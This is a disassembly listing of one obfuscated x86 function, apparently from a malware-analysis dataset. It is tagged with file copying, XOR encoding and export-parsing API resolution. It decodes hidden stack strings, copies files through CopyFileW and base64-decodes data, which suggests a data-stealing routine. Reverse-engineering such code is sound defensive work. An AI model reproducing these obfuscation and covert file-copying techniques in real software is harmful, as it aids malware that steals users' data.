Function at 0x41e352
Capabilities:
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x454
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x54], 0xd7aac9b7
mov dword [esp + 0x58], 0xd3b3d5b9
mov dword [esp + 0x5c], 0xdfecd1a5
mov dword [esp + 0x60], 0xdba2ddb1
mov dword [esp + 0x64], 0xe7e6d9b5
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x13
ja 0x41d81e
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x54]
add eax, 0xc2e193ce
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0xfa
mov ecx, dword [esp]
mov byte [esp + ecx + 0x54], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x14
jb 0x41d7f0
lea edi, [esp + 0x54]
lea ecx, [esp + 0x44]
push edi
call fcn.00433210
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x43eb20]
jmp dword [0x43eb28]
lea ecx, [esp + 0x44]
push 0x410
call fcn.00433440
nop
nop
nop
nop
lea ecx, [esp + 0x44]
push 0x410
call fcn.00433440
jmp dword [0x43eb30]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43eb38]
xor ebx, ebx
jmp dword [0x43eb48]
mov dword [esp + 0x54], 0xae75bc97
mov dword [esp + 0x58], 0xbcb26f94
mov dword [esp + 0x5c], 0x88b3b593
mov dword [esp + 0x60], 0x95beba97
mov dword [esp + 0x64], 0xb49d6696
mov dword [esp + 0x68], 0xbda05a9f
mov dword [esp + 0x6c], 0x86bf5aba
mov dword [esp + 0x70], 0x8a5188a1
mov dword [esp + 0x74], 0x52a4a2a2
mov dword [esp + 0x78], 0x924d57a3
mov dword [esp + 0x7c], 0x1524bb3
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x41d92e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x54]
add eax, 0x558b880b
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0xc9
mov ecx, dword [esp]
mov byte [esp + ecx + 0x54], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x41d900
lea eax, [esp + 0x38]
lea ecx, [esp + 0x44]
push 0
push 0x2b
push edi
push eax
call fcn.00433a20
mov esi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
xor eax, eax
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x43eb50]
mov ecx, ebx
not ecx
and ecx, esi
mov eax, esi
not eax
and eax, ebx
sub eax, ecx
sar eax, 2
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x2c], 0
xor ecx, ecx
cmp esi, ebx
setne cl
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x30], ebx
jmp dword [ecx*4 + 0x43eb58]
mov esi, dword [esp + 0x34]
add esi, 4
xor eax, eax
mov ebx, dword [esp + 0x30]
cmp esi, ebx
setne al
jmp dword [eax*4 + 0x43eb58]
mov dword [esp + 0x34], esi
mov esi, dword [esi]
push 0x400
push 0
push edi
call fcn.00408fe0
add esp, 0xc
mov eax, esp
lea ecx, [esp + 0x44]
push eax
push 0x400
push edi
push esi
call fcn.004338c0
cmp eax, 0xc0000000
setae al
cmp dword [esp], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x43eb68]
mov eax, 1
jmp dword [eax*4 + 0x43eb70]
xor eax, eax
jmp dword [eax*4 + 0x43eb70]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor edx, edx
test al, al
je 0x41da61
mov ecx, edi
nop
nop
cmp al, 0x2e
je 0x41da5f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x41da50
jmp 0x41da61
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x43eb78]
jmp dword [0x43eb88]
lea esi, [edx + 1]
movzx eax, byte [edx + 1]
xor ebx, ebx
test al, al
je 0x41da70
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x41daa0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x41da90
jmp 0x41da70
mov ebx, ecx
jmp dword [0x43eb88]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x43eba0]
mov ecx, ebx
sub ecx, esi
lea edi, [ecx + ecx*2]
shr edi, 2
movzx eax, byte [ebx - 1]
cmp eax, 0x3d
je 0x41dace
cmp eax, 0x2e
jne 0x41dacf
dec edi
movzx eax, byte [esi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0x1c], ecx
je 0x41dae2
cmp eax, 0x2e
jne 0x41daef
mov dword [esp + 0x20], edx
mov eax, edi
not eax
lea edi, [eax + edi*2]
jmp 0x41daf3
mov dword [esp + 0x20], edx
mov dword [esp + 0x50], edi
lea eax, [edi + 1]
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x18], eax
cmp ebx, esi
mov ebp, dword [esp + 0x1c]
je 0x41dbfc
xor edx, edx
mov esi, 2
jmp 0x41db38
mov ecx, ebp
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
mov edx, ebp
cmp esi, ecx
mov esi, eax
mov ebp, ecx
jae 0x41dbfc
mov dword [esp + 0x24], edx
mov edi, dword [esp + 0x20]
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00415370
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi]
push eax
call fcn.00415370
mov edx, dword [esp + 0x28]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ebx, [edx + 1]
mov ecx, dword [esp + 0x18]
mov byte [ecx + edx], ah
cmp esi, ebp
jae 0x41db20
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi + 1]
push eax
call fcn.00415370
mov ecx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x41db24
movzx edx, byte [esp + 0xf]
shl dl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, dl
mov edi, dword [esp + 0x24]
lea ebp, [edi + 2]
mov edx, dword [esp + 0x18]
mov byte [edx + edi + 1], al
lea eax, [esi + 1]
cmp eax, ecx
jae 0x41db24
mov eax, dword [esp + 0x20]
movzx eax, byte [eax + esi + 2]
push eax
call fcn.00415370
mov ecx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
je 0x41db24
shl bl, 6
add al, bl
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
mov byte [edx + edi + 2], al
add edi, 3
mov ebp, edi
jmp 0x41db24
mov eax, dword [esp + 0x50]
mov esi, dword [esp + 0x18]
mov byte [esi + eax], 0
push esi
call fcn.004023c0
add esp, 4
mov ebx, eax
jmp dword [0x43eba8]
push esi
call fcn.00408f70
add esp, 4
push ebx
call fcn.00402cd0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
lea edi, [esp + 0x54]
mov esi, dword [esp + 0x34]
jmp dword [ecx*4 + 0x43ebb0]
jmp 0x41dd09
mov dword [esp], 0x3994a0a1
mov word [esp + 4], 0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 5
ja 0x41dca3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx edx, byte [esp + edx]
add ecx, 0xbd37700b
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xc9
mov edx, dword [esp + 0x10]
mov byte [esp + edx], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 6
jb 0x41dc70
mov ecx, esp
push ecx
push eax
call fcn.00402c20
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43ebc8]
mov edx, dword [esp + 0x14]
jmp 0x41dce3
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 0x14]
je 0x41dcdb
inc eax
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x41dcd0
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x54]
test al, al
je 0x41dcfb
lea ecx, [esp + 0x55]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41dcf0
mov byte [edx], 0xa
inc edx
mov dword [esp + 0x14], edx
mov al, 1
mov dword [esp + 0x2c], eax
push ebx
call fcn.00402f60
add esp, 4
add esi, 4
xor eax, eax
mov ebx, dword [esp + 0x30]
cmp esi, ebx
setne al
jmp dword [eax*4 + 0x43eb58]
mov ebx, dword [esp + 0x2c]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x43eb60]
mov edi, dword [esp + 0x28]
jmp dword [0x43ebe0]
xor edi, edi
test esi, esi
jne 0x41de38
jmp 0x41de45
mov ebx, dword [esp + 0x14]
mov byte [ebx], 0
mov edi, dword [esp + 0x28]
sub ebx, edi
mov dword [esp + 0x54], 0x23261949
mov dword [esp + 0x58], 0x2f535a5d
mov dword [esp + 0x5c], 0x202c2259
mov dword [esp + 0x60], 0x5626426f
mov dword [esp + 0x64], 0x5b752c59
mov dword [esp + 0x68], 0x314f3237
mov dword [esp + 0x6c], 0x3732733f
mov dword [esp + 0x70], 0xad30
mov eax, dword [case.0x41dcb6.4]
mov ecx, dword [esp + 0x468]
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x1f
ja 0x41de0a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov edx, dword [esp + 8]
movzx esi, byte [esp + edx + 0x54]
lea edx, [eax + 0x5e]
and edx, esi
add eax, esi
add edx, edx
sub eax, edx
add eax, 0xa40db25e
mov dword [esp], eax
mov eax, dword [esp]
add al, 0x2a
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x54], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x20
jb 0x41ddd0
lea eax, [esp + 0x54]
push ebx
push edi
push eax
call fcn.00409910
mov ebx, eax
jmp dword [0x43ebe0]
push edi
call fcn.00408f70
add esp, 4
and bl, 1
mov edi, ebx
mov esi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
test esi, esi
je 0x41de45
cmp esi, ebx
je 0x41de45
push esi
call fcn.00408f70
add esp, 4
mov ebx, edi
lea ecx, [esp + 0x44]
call fcn.004335d0
mov eax, ebx
add esp, 0x454
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor edx, edx
test ecx, ecx
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x43ec60]
jmp dword [ecx*4 + 0x43ebe8]
mov dword [esp + 0x30], 0x4fb849a4
mov dword [esp + 0x34], 0x43b94d89
mov dword [esp + 0x38], 0x47b141b9
mov dword [esp + 0x3c], 0x7b8c45b0
mov dword [esp + 0x40], 0x7f927991
mov dword [esp + 0x44], 0x73b37d81
mov dword [esp + 0x48], 0x778e71b7
mov dword [esp + 0x4c], 0x6b98758d
mov dword [esp + 0x50], 0x6f8269ad
mov dword [esp + 0x54], 0x63916d9b
mov dword [esp + 0x58], 0x6792619a
mov dword [esp + 0x5c], 0x1bdb658f
mov dword [esp + 0x60], 0x1fdb19ee
mov dword [esp + 0x64], 0x13f81df0
mov dword [esp + 0x68], 0x178a11f1
mov dword [esp + 0x6c], 0xbef159e
mov dword [esp + 0x70], 0xff909e4
mov dword [esp + 0x74], 0x3e70d98
mov dword [esp + 0x78], 0x79b01e1
mov word [esp + 0x7c], 0x504
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x50
ja 0x41dfa0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
add ecx, 0x2f0d4292
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x26
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x51
jb 0x41df70
lea ecx, [esp + 0x20]
lea ebp, [esp + 0x30]
push 0
push 0
push eax
push ecx
push ebp
call fcn.004379c0
add esp, 0x14
shr eax, 0x1f
mov ecx, 4
jmp dword [eax*4 + 0x43ebf0]
lea edi, [esp + 0x94]
lea eax, [esp + 0x2c]
push edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x40]
call fcn.00437e10
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43ebf8]
mov ecx, dword [esp + 0x94]
lea eax, [ecx*2 + 2]
inc ecx
jns 0x41e00d
mov eax, 0xffffffff
push eax
call fcn.00408f60
add esp, 4
mov esi, eax
mov dword [esp + 0x30], 0x1fac1951
mov dword [esp + 0x34], 0x63d61dab
mov dword [esp + 0x38], 0x67ca61c1
mov dword [esp + 0x3c], 0x6b3a65c8
mov dword [esp + 0x40], 0x6fda69c9
mov dword [esp + 0x44], 0x73726dc4
mov dword [esp + 0x48], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1b
ja 0x41e08e
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0xdddc623a
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xde
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1c
jb 0x41e060
push edi
push esi
push 0
push ebp
push dword [esp + 0x30]
call fcn.00438460
add esp, 0x14
shr eax, 0x1f
mov ebx, esi
jmp dword [eax*4 + 0x43ec00]
xor ebx, ebx
jmp dword [0x43ec08]
push esi
call fcn.00408f70
add esp, 4
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x41e113
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xda2d5b14
xor ecx, edx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x30]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x41e0e0
mov ecx, dword [0x442de0]
test ecx, ecx
je 0x41e150
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x442de4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x41e140
inc esi
cmp ecx, esi
jne 0x41e130
jmp 0x41e150
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne case.default.0x41e157
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x43ec10]
push ebp
call fcn.00436f60
add esp, 4
lea edi, [esp + 0x7e]
cmp dword [esp + 0x30], 1
sete cl
and al, cl
mov ecx, dword [case.0x41e1b5.9]
nop
nop
nop
nop
nop
jmp ecx
movzx eax, al
jmp dword [eax*4 + 0x43ec38]
xor ecx, ecx
jmp 0x41e195
mov ecx, 2
mov eax, dword [case.0x41dfbf.1]
jmp case.0x41e1b5.12
push eax
push 1
push dword [0x442de8]
push ecx
call fcn.00435090
add esp, 0x10
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x43ec10]
mov ecx, 2
mov eax, dword [case.0x41dfbf.1]
lea edi, [esp + 0x7e]
nop
nop
jmp eax
xor eax, eax
cmp ecx, 4
setl al
jmp dword [eax*4 + 0x43ec50]
xor edx, edx
cmp ecx, 4
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x43ec58]
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x43ec68]
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x41e210
sub eax, ebx
cmp eax, 0xffffffd9
jge 0x41e230
mov eax, 0xffffffff
jmp 0x41e233
xor eax, eax
jmp 0x41ea06
add eax, 0x26
push eax
call fcn.00408f60
add esp, 4
mov edi, eax
mov dword [esp + 0x30], 0xcf69c964
mov dword [esp + 0x34], 0xc350cd5f
mov dword [esp + 0x38], 0xc75fc15a
mov dword [esp + 0x3c], 0xbb16c55f
mov dword [esp + 0x40], 0xbf2db91f
mov dword [esp + 0x44], 0xb328bd2e
mov dword [esp + 0x48], 0xb72db129
mov dword [esp + 0x4c], 0xab20b566
mov dword [esp + 0x50], 0xaf34a90c
mov word [esp + 0x54], 0xadac
mov dword [esp + 0x56], 0
mov byte [esp + 0x5a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2a
ja 0x41e2de
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x597beb32
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 6
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2b
jb 0x41e2b0
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x41e301
lea edx, [ebx + 2]
mov eax, edi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41e2f0
mov word [eax], 0
movzx ecx, word [esp + 0x30]
test cx, cx
je 0x41e331
lea edx, [esp + 0x32]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41e320
mov word [eax], 0
jmp dword [0x43ec70]
push ebx
call fcn.00408f70
add esp, 4
movzx eax, word [edi]
mov ecx, dword [case.0x41e1b5.29]
nop
nop
jmp ecx
xor ecx, ecx
cmp ax, 0x5b
sete cl
jmp dword [ecx*4 + 0x43ec88]
mov dword [esp + 0x30], 0xf338f133
mov dword [esp + 0x34], 0xef0ded08
mov dword [esp + 0x38], 0xeb7ce97f
mov dword [esp + 0x3c], 0xe77fe57a
mov dword [esp + 0x40], 0xe306e17f
mov dword [esp + 0x44], 0x9f099d7f
mov dword [esp + 0x48], 0x9b04990e
mov dword [esp + 0x4c], 0x9709950d
mov dword [esp + 0x50], 0x931c9146
mov dword [esp + 0x54], 0x8f108d10
mov dword [esp + 0x58], 0x8988
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2b
ja 0x41e3fe
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x8a05d1ac
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xa4
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2c
jb 0x41e3d0
lea eax, [esp + 0x30]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x20]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.004371a0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43ec90]
xor ebx, ebx
xor ebp, ebp
jmp dword [0x43ece0]
push edi
call fcn.00408f70
add esp, 4
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x43ece8]
mov dword [esp + 0x28], ebx
xor eax, eax
jmp 0x41e9c3
lea eax, [esp + 0x2c]
push 0
push eax
push dword [esp + 0x28]
call fcn.00437530
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x43ec98]
mov esi, dword [esp + 0x2c]
lea eax, [esi + 1]
push eax
call fcn.00408f60
add esp, 4
push 0
push esi
mov dword [esp + 0x94], eax
push eax
push dword [esp + 0x2c]
call fcn.00437630
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x43eca0]
mov dword [esp + 0x14], edi
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x8c]
mov byte [edi + esi], 0
push 0x20
call fcn.00408f60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x88], eax
mov ecx, eax
push esi
push edi
call fcn.00420280
movzx eax, al
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x43eca8]
mov dword [esp + 0x30], 0x17041e33
mov dword [esp + 0x34], 0x2140413
mov dword [esp + 0x38], 0x71b2f47
mov dword [esp + 0x3c], 0x2c41180a
mov dword [esp + 0x40], 0xe131404
mov dword [esp + 0x44], 0x1415344b
mov dword [esp + 0x48], 0xfff4fcf7
mov dword [esp + 0x4c], 0x8dff
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1f
ja 0x41e59e
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x6636d5e8
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x78
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x20
jb 0x41e570
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x88]
push eax
call fcn.00420490
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x43ecb0]
mov edi, dword [esp + 0x14]
jmp dword [0x43ecc0]
mov esi, dword [esp + 0x88]
mov ecx, esi
call fcn.00420600
push esi
call fcn.00408f70
add esp, 4
mov eax, dword [case.0x41e5b8.8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x43ecd8]
push dword [esp + 0x8c]
call fcn.00408f70
add esp, 4
mov dword [esp + 0x14], edi
mov eax, dword [esp + 0x20]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x41e663
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xda2d5b14
xor ecx, edx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x30]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x41e630
mov ecx, dword [0x442de0]
test ecx, ecx
je 0x41e69c
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x442de4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x41e690
inc esi
cmp ecx, esi
jne 0x41e680
jmp 0x41e69c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x41efc0
mov edi, dword [esp + 0x14]
jmp dword [0x43ece0]
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x43ece8]
mov eax, ebp
mov dword [esp + 0x28], ebx
sub eax, ebx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x10], eax
mov eax, dword [0x442ddc]
mov dword [esp + 0x30], 0x194e1b77
mov dword [esp + 0x34], 0x65cb67a9
mov dword [esp + 0x38], 0x61d663cb
mov dword [esp + 0x3c], 0x6dde6f2f
mov dword [esp + 0x40], 0x69266bdc
mov dword [esp + 0x44], 0x75ca77c7
mov dword [esp + 0x48], 0x711973db
mov dword [esp + 0x4c], 0x7d237fd4
mov dword [esp + 0x50], 0x79d17bc0
mov dword [esp + 0x54], 0x45f547d7
mov dword [esp + 0x58], 0x41f643e0
mov dword [esp + 0x5c], 0x4de34ff1
mov dword [esp + 0x60], 0x49fe4be3
mov dword [esp + 0x64], 0x55ec573a
mov dword [esp + 0x68], 0x51f853f8
mov dword [esp + 0x6c], 0x5f50
mov byte [esp + 0x70], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x40
ja 0x41e7a0
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
add ecx, 0x75e3be3b
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xd9
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x41
jb 0x41e770
lea edi, [esp + 0x30]
lea ebx, [esp + 0x20]
push ebx
push 0
push 0
push 0x1e
push edi
push 0
call eax
mov esi, dword [esp + 0x20]
test esi, esi
jns 0x41e7c3
mov eax, 0xffffffff
jmp 0x41e7c6
lea eax, [esi + esi]
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x24], eax
mov eax, dword [0x442ddc]
mov dword [esp + 0x30], 0x3366311d
mov dword [esp + 0x34], 0x3f5d3d4b
mov dword [esp + 0x38], 0x3b4e3959
mov dword [esp + 0x3c], 0x47364505
mov dword [esp + 0x40], 0x430e4130
mov dword [esp + 0x44], 0x4f324d2d
mov dword [esp + 0x48], 0x4b674929
mov dword [esp + 0x4c], 0x57055530
mov dword [esp + 0x50], 0x533f512c
mov dword [esp + 0x54], 0x5f2b5d3d
mov dword [esp + 0x58], 0x5b2e593c
mov dword [esp + 0x5c], 0x67056513
mov dword [esp + 0x60], 0x63166101
mov dword [esp + 0x64], 0x6f106d5a
mov dword [esp + 0x68], 0x6b046904
mov word [esp + 0x6c], 0x7574
mov dword [esp + 0x6e], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x41
ja 0x41e8a0
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
add ecx, 0xe0857db4
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x7c
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x42
jb 0x41e870
push ebx
push esi
mov esi, dword [esp + 0x2c]
push esi
push 0x1e
push edi
push 0
call eax
lea eax, [esp + 0x2c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.004371a0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43ecf0]
xor ebx, ebx
mov esi, dword [esp + 0x10]
jmp dword [0x43ed88]
push dword [esp + 0x24]
call fcn.00408f70
add esp, 4
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x43ed90]
mov byte [esi], 0
mov dword [esp + 0x30], 0x55565787
mov dword [esp + 0x34], 0x51a1aeab
mov dword [esp + 0x38], 0x54585ea7
mov dword [esp + 0x3c], 0x9a56b699
mov dword [esp + 0x40], 0x8da76097
mov dword [esp + 0x44], 0x6b9d6661
mov dword [esp + 0x48], 0x6162a961
mov word [esp + 0x4c], 0xfb64
mov dword [esp + 0x4e], 0
sub esi, dword [esp + 0x10]
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x41e999
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
lea edx, [eax + ecx]
add eax, 0x51
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xc6dc3a51
mov dword [esp + 8], edx
mov eax, dword [esp + 8]
add al, 0x6b
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x41e960
mov ecx, dword [esp + 0xb0]
push esi
push dword [esp + 0x14]
push edi
call fcn.00409910
jmp dword [0x43ed98]
push dword [esp + 0x10]
mov esi, eax
call fcn.00408f70
mov eax, esi
add esp, 4
and al, 1
mov esi, dword [esp + 0x28]
test esi, esi
je 0x41ea06
cmp esi, ebp
je 0x41ea06
mov edi, eax
jmp 0x41e9e7
add esi, 8
cmp esi, ebp
je 0x41e9f8
mov eax, dword [esi]
test eax, eax
je 0x41e9e0
push eax
call fcn.00408f70
add esp, 4
jmp 0x41e9e0
push dword [esp + 0x28]
call fcn.00408f70
add esp, 4
mov eax, edi
add esp, 0x9c
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x34]
call fcn.00437530
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 0x18], 0
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x43ecf8]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00408f60
add esp, 4
push 0
push esi
mov dword [esp + 0x94], eax
push eax
